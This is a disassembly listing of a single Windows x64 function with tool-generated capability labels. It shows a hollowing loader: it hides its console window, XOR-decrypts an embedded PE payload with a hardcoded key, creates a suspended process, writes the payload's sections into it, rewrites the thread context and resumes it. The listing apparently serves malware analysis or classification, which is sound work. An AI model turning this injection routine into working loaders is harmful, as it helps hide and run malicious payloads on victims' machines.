Function at 0x140011299
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Resume thread
Use process replacement

Disassembly:
jmp 0x1400119d0
push rbp
push rsi
push rdi
sub rsp, 0x9d0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1a0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x978], rax
lea rcx, [0x1400230f2]
call fcn.1400113bb
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [rbp + 4]
lea rdx, [0x14001ad80]
mov ecx, 0x84
call fcn.140011122
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x48]
lea rcx, str.12345678
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rbp + 4]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x94], 0
jmp 0x140011a79
mov eax, dword [rbp + 0x94]
inc eax
mov dword [rbp + 0x94], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x94], eax
jae 0x140011af5
movsxd rax, dword [rbp + 0x94]
mov qword [rbp + 0x968], rax
movsxd rcx, dword [rbp + 0x94]
mov rdx, qword [rbp + 0x28]
movzx ecx, byte [rdx + rcx]
movsxd rdx, dword [rbp + 0x94]
mov qword [rbp + 0x970], rdx
xor edx, edx
mov rdi, qword [rbp + 0x970]
mov rax, rdi
mov edi, 9
div rdi
mov rax, rdx
movsx eax, byte [rbp + rax + 0x48]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x968]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rbp + 0x94]
mov rdx, qword [rbp + 0x78]
mov byte [rdx + rcx], al
jmp 0x140011a6b
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xb8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0xf8]
cmp dword [rax], 0x4550
jne 0x140011ddf
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x138]
call fcn.1400112ee
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x170]
call fcn.1400112ee
mov r8d, 0x104
lea rdx, [rbp + 0x220]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0x138]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x170]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x220]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140011ddf
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov dword [rax + 0x30], 0x10000b
mov rdx, qword [rbp + 0x638]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140011ddf
mov rax, qword [rbp + 0xf8]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0xf8]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0x1f8]
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0x658], 0
jmp 0x140011ca7
mov rax, qword [rbp + 0x658]
inc rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0xf8]
movzx eax, word [rax + 6]
cmp qword [rbp + 0x658], rax
jae 0x140011d86
mov rax, qword [rbp + 0xd8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xb8]
add rcx, rax
mov rax, rcx
imul rcx, qword [rbp + 0x658], 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x118]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0xb8]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x118]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0x1f8]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp + 0xf8]
add rax, 0x30
mov rcx, qword [rbp + 0x638]
mov rcx, qword [rcx + 0x88]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x140011c96
mov rax, qword [rbp + 0xf8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0x1f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x638]
mov qword [rcx + 0x80], rax
mov rdx, qword [rbp + 0x638]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x140011de5
jmp 0x140011de3
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ad20]
call fcn.140011343
mov rax, rdi
mov rcx, qword [rbp + 0x978]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x980]
pop rdi
pop rsi
pop rbp
ret